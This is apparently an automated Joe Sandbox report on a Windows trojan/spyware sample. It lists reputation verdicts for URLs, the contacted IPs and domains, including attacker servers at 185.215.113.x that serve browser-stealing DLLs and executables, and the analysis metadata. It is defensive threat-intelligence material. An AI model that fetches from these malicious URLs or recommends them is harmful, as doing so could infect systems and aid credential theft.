http://185.215.113.100/ZkRm	100%	Avira URL Cloud	malware
https://msn.com	0%	Avira URL Cloud	safe
http://185.215.113.100/0d60be0de163924d/nss3.dllllo	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/msvcp140.dllP	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/nss3.dll5	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/nss3.dllK	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpion:	6%	Virustotal		Browse
https://msn.com	0%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.phpAppDataB$	100%	Avira URL Cloud	phishing
http://185.215.113.100/e2b1563c6670f193.phprowser	100%	Avira URL Cloud	malware
https://docs.google.com/	0%	Avira URL Cloud	safe
http://185.215.113.100/0d60be0de163924d/msvcp140.dllP	19%	Virustotal		Browse
http://185.215.113.100/0d60be0de163924d/nss3.dllK	19%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.php	100%	Avira URL Cloud	phishing
http://185.215.113.100/0d60be0de163924d/nss3.dll5	16%	Virustotal		Browse
http://185.215.113.100/0d60be0de163924d/nss3.dllY	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpmainnet	100%	Avira URL Cloud	malware
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
https://docs.google.com/	0%	Virustotal		Browse
http://185.215.113.100/0d60be0de163924d/nss3.dllllG	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phprowser	11%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.php	24%	Virustotal		Browse
http://185.215.113.100/0d60be0de163924d/nss3.dllY	15%	Virustotal		Browse
https://drive.google.com/	0%	Avira URL Cloud	safe
https://drive.google.com/	0%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.phpm&	100%	Avira URL Cloud	malware
http://185.215.113.19/Vi9leo/index.php26	100%	Avira URL Cloud	phishing
http://185.215.113.100/0d60be0de163924d/nss3.dllll9	100%	Avira URL Cloud	malware
http://185.215.113.100/ws	100%	Avira URL Cloud	malware
https://myaccount.google.com/signinoptions/passwordC:	0%	Avira URL Cloud	safe
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	0%	Avira URL Cloud	safe
https://www.office.com/	0%	Avira URL Cloud	safe
http://185.215.113.19/Vi9leo/index.phpppData	100%	Avira URL Cloud	phishing
http://185.215.113.100/ws	7%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.phprofiles	100%	Avira URL Cloud	malware
http://185.215.113.16/well/random.exe	100%	Avira URL Cloud	malware
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
http://185.215.113.100/e2b1563c6670f193.phpDq	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.php/	100%	Avira URL Cloud	malware
https://www.office.com/	0%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.phpppData	19%	Virustotal		Browse
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	0%	Avira URL Cloud	safe
http://185.215.113.16/well/random.exe	25%	Virustotal		Browse
http://185.215.113.19/	100%	Avira URL Cloud	phishing
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.php2	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpDu	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.php3	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exeBH	100%	Avira URL Cloud	phishing
http://185.215.113.19/	19%	Virustotal		Browse
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	0%	Avira URL Cloud	safe
http://185.215.113.100/e2b1563c6670f193.php/	7%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.php2	11%	Virustotal		Browse
http://185.215.113.100/0d60be0de163924d/vcruntime140.dlld	100%	Avira URL Cloud	malware
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	0%	Avira URL Cloud	safe
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0%	Avira URL Cloud	safe
http://185.215.113.100/e2b1563c6670f193.php#	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.php3	7%	Virustotal		Browse
https://www.google.com/favicon.ico	0%	Avira URL Cloud	safe
http://185.215.113.100e2b1563c6670f193.phpion:	0%	Avira URL Cloud	safe
https://www.google.com/chrome	0%	Avira URL Cloud	safe
http://185.215.113.100/e2b1563c6670f193.phpAECGHCBGCBFHIIDHI$3	100%	Avira URL Cloud	malware
http://185.215.113.19/Vi9leo/index.php53001	100%	Avira URL Cloud	phishing
http://185.215.113.100/ocal	100%	Avira URL Cloud	malware
https://chrome.google.com/webstore/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	0%, Virustotal, Browse	unknown
googlehosted.l.googleusercontent.com	142.250.181.225	true	false	0%, Virustotal, Browse	unknown
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	0%, Virustotal, Browse	unknown
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	0%, Virustotal, Browse	unknown
clients2.googleusercontent.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
bzib.nelreports.net	unknown	unknown	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.100/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.100/	true	URL Reputation: malware	unknown
http://185.215.113.100/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.19/Vi9leo/index.php	true	24%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://185.215.113.100/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.100/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
https://www.google.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://clients2.googleusercontent.com/crx/blobs/AY4GWKBMNax_FQrZEVzNkO_0mu3UShnzR6AihR_EPjVIUOT_pwZzkWCpOk8YKIu0qnIq_YObWXuPyiJ7NA0nDjMHUEYIIEknsNvJHXuPd0MqxESzoxi9xiMyJKNwZiVV1yEAxlKa5UVe61sINARQ7fO9dE0bkfP_W4GG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_80_1_0.crx	false	Avira URL Cloud: safe	unknown
http://185.215.113.100/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.100/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.100/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.100/0d60be0de163924d/nss3.dllllo	eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://duckduckgo.com/chrome_newtab	eb98fe5174.exe, 00000007.00000003.2494565892.0000000001079000.00000004.00000020.00020000.00000000.sdmp, ECBAEBGH.7.dr, Web Data.13.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	eb98fe5174.exe, 00000007.00000003.2494565892.0000000001079000.00000004.00000020.00020000.00000000.sdmp, ECBAEBGH.7.dr, Web Data.13.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpion:	eb98fe5174.exe, 00000007.00000002.2619375968.000000000080D000.00000040.00000001.01000000.00000009.sdmp	true	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://msn.com	data_1.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.215.113.19/Vi9leo/index.phpHarddiskVolumef	explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://185.215.113.100/ZkRm	53c7d901f1.exe, 00000008.00000002.2653239563.0000000001007000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/msvcp140.dllP	eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	true	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/nss3.dll5	eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	true	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	eb98fe5174.exe, 00000007.00000002.2662143008.0000000029431000.00000004.00000020.00020000.00000000.sdmp, eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp, AAAAECGHCBGCBFHIIDHI.7.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/0d60be0de163924d/nss3.dllK	eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	true	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.19/Vi9leo/index.phpAppDataB$	explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.100/e2b1563c6670f193.phprowser	eb98fe5174.exe, 00000007.00000002.2639639180.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp	true	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://docs.google.com/	manifest.json0.21.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.215.113.100/0d60be0de163924d/nss3.dllY	eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpmainnet	eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100	eb98fe5174.exe, 00000007.00000002.2639639180.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp, eb98fe5174.exe, 00000007.00000002.2619375968.000000000080D000.00000040.00000001.01000000.00000009.sdmp, 53c7d901f1.exe, 00000008.00000002.2653239563.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	AAAAECGHCBGCBFHIIDHI.7.dr	false	Avira URL Cloud: safe	unknown
http://185.215.113.100/0d60be0de163924d/nss3.dllllG	eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://drive.google.com/	manifest.json0.21.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpm&	eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.19/Vi9leo/index.php26	explorti.exe, 00000006.00000002.2882067749.00000000015E3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.100/ws	53c7d901f1.exe, 00000008.00000002.2653239563.0000000001007000.00000004.00000020.00020000.00000000.sdmp	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/nss3.dllll9	eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://myaccount.google.com/signinoptions/passwordC:	8eb30d7f71.exe, 00000009.00000002.2880910734.0000000001330000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	eb98fe5174.exe, 00000007.00000002.2662143008.0000000029431000.00000004.00000020.00020000.00000000.sdmp, eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp, AAAAECGHCBGCBFHIIDHI.7.dr	false	Avira URL Cloud: safe	unknown
https://www.office.com/	Top Sites.13.dr, Top Sites.21.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.215.113.19/Vi9leo/index.phpppData	explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	false	19%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://185.215.113.100/e2b1563c6670f193.phprofiles	eb98fe5174.exe, 00000007.00000002.2639639180.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.16/well/random.exe	explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	false	25%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.mozilla.com/en-US/blocklist/	eb98fe5174.exe, eb98fe5174.exe, 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmp, mozglue.dll.7.dr, mozglue[1].dll.7.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpDq	53c7d901f1.exe, 00000008.00000002.2653239563.0000000001007000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.php/	53c7d901f1.exe, 00000008.00000002.2653239563.0000000001007000.00000004.00000020.00020000.00000000.sdmp	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://mozilla.org0/	softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr, softokn3.dll.7.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	eb98fe5174.exe, 00000007.00000002.2619375968.0000000000661000.00000040.00000001.01000000.00000009.sdmp, eb98fe5174.exe, 00000007.00000002.2619375968.000000000069C000.00000040.00000001.01000000.00000009.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.19/	explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	true	19%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://185.215.113.100/e2b1563c6670f193.php2	53c7d901f1.exe, 00000008.00000002.2653239563.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp	true	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpDu	eb98fe5174.exe, 00000007.00000003.2494709645.000000000105D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.php3	eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.16/steam/random.exeBH	explorti.exe, 00000006.00000002.2882067749.0000000001590000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://drive-daily-2.corp.google.com/	manifest.json0.21.dr	false	URL Reputation: safe	unknown
https://drive-daily-4.corp.google.com/	manifest.json0.21.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	eb98fe5174.exe, 00000007.00000002.2619375968.0000000000661000.00000040.00000001.01000000.00000009.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.100/0d60be0de163924d/vcruntime140.dlld	eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	eb98fe5174.exe, 00000007.00000003.2494565892.0000000001079000.00000004.00000020.00020000.00000000.sdmp, ECBAEBGH.7.dr, Web Data.13.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	eb98fe5174.exe, 00000007.00000002.2662143008.0000000029431000.00000004.00000020.00020000.00000000.sdmp, eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp, AAAAECGHCBGCBFHIIDHI.7.dr	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	eb98fe5174.exe, 00000007.00000003.2483387429.000000001D3C0000.00000004.00000020.00020000.00000000.sdmp, eb98fe5174.exe, 00000007.00000002.2619375968.0000000000661000.00000040.00000001.01000000.00000009.sdmp, eb98fe5174.exe, 00000007.00000002.2619375968.000000000069C000.00000040.00000001.01000000.00000009.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	eb98fe5174.exe, 00000007.00000002.2619375968.000000000069C000.00000040.00000001.01000000.00000009.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	eb98fe5174.exe, 00000007.00000003.2494565892.0000000001079000.00000004.00000020.00020000.00000000.sdmp, ECBAEBGH.7.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.php#	eb98fe5174.exe, 00000007.00000003.2509141109.000000000107B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://drive-daily-1.corp.google.com/	manifest.json0.21.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	HCGCBFHCFCFBFIEBGHJECGHCFI.7.dr	false	URL Reputation: safe	unknown
https://drive-daily-5.corp.google.com/	manifest.json0.21.dr	false	URL Reputation: safe	unknown
http://185.215.113.100e2b1563c6670f193.phpion:	eb98fe5174.exe, 00000007.00000002.2619375968.000000000080D000.00000040.00000001.01000000.00000009.sdmp	true	Avira URL Cloud: safe	unknown
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL0.14.dr	false	URL Reputation: safe	unknown
https://www.google.com/chrome	content_new.js.21.dr, content.js.21.dr	false	Avira URL Cloud: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpAECGHCBGCBFHIIDHI$3	eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.19/Vi9leo/index.php53001	explorti.exe, 00000006.00000002.2882067749.00000000015E3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.100/0d60be0de163924d/vcruntime140.dllD	eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://chromewebstore.google.com/	manifest.json.21.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/ocal	53c7d901f1.exe, 00000008.00000002.2653239563.0000000001007000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://drive-preprod.corp.google.com/	manifest.json0.21.dr	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore/	manifest.json.21.dr	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	HCGCBFHCFCFBFIEBGHJECGHCFI.7.dr	false	URL Reputation: safe	unknown
http://185.215.113.19/Vi9leo/index.phpQ	explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	eb98fe5174.exe, 00000007.00000002.2619375968.000000000069C000.00000040.00000001.01000000.00000009.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.100/0d60be0de163924d/freebl3.dlla	eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.19/Vi9leo/index.phpT	explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.100/0d60be0de163924d/mozglue.dllk	eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	eb98fe5174.exe, 00000007.00000003.2494565892.0000000001079000.00000004.00000020.00020000.00000000.sdmp, ECBAEBGH.7.dr, Web Data.13.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	eb98fe5174.exe, 00000007.00000002.2619375968.000000000069C000.00000040.00000001.01000000.00000009.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.19/Vi9leo/index.phpL	explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.phptch	explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.phps	explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://drive-staging.corp.google.com/	manifest.json0.21.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpM	eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.19/Vi9leo/index.phpz	explorti.exe, 00000006.00000002.2882067749.0000000001590000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	eb98fe5174.exe, 00000007.00000003.2494565892.0000000001079000.00000004.00000020.00020000.00000000.sdmp, ECBAEBGH.7.dr, Web Data.13.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/0d60be0de163924d/softokn3.dllA	eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpU	eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpE36	eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpA	eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.19/fae1daa8e9eb0eefeb8846d934f48b15eaa495c49#	explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.sqlite.org/copyright.html.	eb98fe5174.exe, 00000007.00000002.2654833757.000000001D4FA000.00000004.00000020.00020000.00000000.sdmp, eb98fe5174.exe, 00000007.00000002.2668900391.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.cloudflare-dns.com	Network Persistent State0.21.dr	false	URL Reputation: safe	unknown
http://185.215.113.19/Vi9leo/index.php3001	explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	eb98fe5174.exe, 00000007.00000002.2662143008.0000000029431000.00000004.00000020.00020000.00000000.sdmp, eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp, AAAAECGHCBGCBFHIIDHI.7.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	eb98fe5174.exe, 00000007.00000003.2494565892.0000000001079000.00000004.00000020.00020000.00000000.sdmp, ECBAEBGH.7.dr, Web Data.13.dr	false	Avira URL Cloud: safe	unknown
https://drive-autopush.corp.google.com/	manifest.json0.21.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.100	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
13.107.246.60	s-part-0032.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
142.250.65.238	unknown	United States	15169	GOOGLEUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
185.215.113.19	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.64.68	unknown	United States	15169	GOOGLEUS	false
142.250.181.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1502390
Start date and time:	2024-09-01 05:07:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@98/516@20/12
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 93.184.221.240, 192.229.221.95, 13.107.21.239, 204.79.197.239, 173.194.76.84, 13.107.42.16, 13.107.6.158, 2.19.126.145, 2.19.126.152, 142.250.184.227, 142.250.181.227, 2.23.209.187, 2.23.209.133, 2.23.209.130, 20.74.47.205, 142.250.184.206, 142.250.185.138, 142.250.186.42, 142.250.184.234, 172.217.16.202, 142.250.181.234, 142.250.186.170, 216.58.212.170, 142.250.184.202, 142.250.185.106, 142.250.185.170, 172.217.18.10, 142.250.185.202, 216.58.206.42, 142.250.185.234, 216.58.206.74, 142.250.186.74, 142.251.40.99, 142.251.40.131, 142.250.80.99, 142.251.41.3, 142.251.32.99, 142.250.72.99
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, config.edge.skype.com.trafficmanager.net, slscr.update.microsoft.com, a416.dscd.akamai.net, edgeassetservice.afd.azureedge.net, arc.msn.com, iris-de-prod-azsc-v2-frc-b.francecentral.cloudapp.azure.com, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, e86303.dscx.akamaiedge.net, clients2.google.com, ocsp.digicert.com, www.bing.com.edgekey.net, config-edge-skype.l-0007.l-msedge.net, arc.trafficmanager.net, www.gstatic.com, l-0007.l-msedge.net, config.edge.skype.com, www.bing.com, edge-microsoft-com.dual-a-0036.a-msedge.net, fs.microsoft.com, accounts.google.com, bzib.nelreports.net.akamaized.net, fonts.gstatic.com, wildcardtlu-ssl.ec.azureedge.net, ctldl.windowsupdate.com, b-0005.b-msedge.net, www.googleapis.com, www-www.bing.com.trafficmanager.net, edge.microsoft.com, business-bing-com.b-0005.b-msedge.net, fe3cr.delivery.mp.microsoft.com, wildcardtlu-ssl.azureedge.net, l-0007.config.skype.com, edgeassetservice.a
Execution Graph export aborted for target explorti.exe, PID 1868 because there are no executed function
Execution Graph export aborted for target explorti.exe, PID 6500 because there are no executed function
Execution Graph export aborted for target file.exe, PID 6944 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
